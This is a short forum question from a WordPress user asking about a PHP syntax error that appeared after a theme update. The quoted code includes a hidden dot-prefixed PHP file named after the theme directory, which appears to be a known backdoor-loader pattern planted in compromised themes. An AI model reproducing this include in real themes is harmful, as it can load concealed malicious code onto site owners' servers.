Today, after update my theme of wordpress I get an error:
syntax error, unexpected '")) { ' (T_CONSTANT_ENCAPSED_STRING)
Here are lines of this function:
*/
if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php")) {
include_once get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php";
I don't see anything wrong here. Where is the problem? Can anyone help me with that?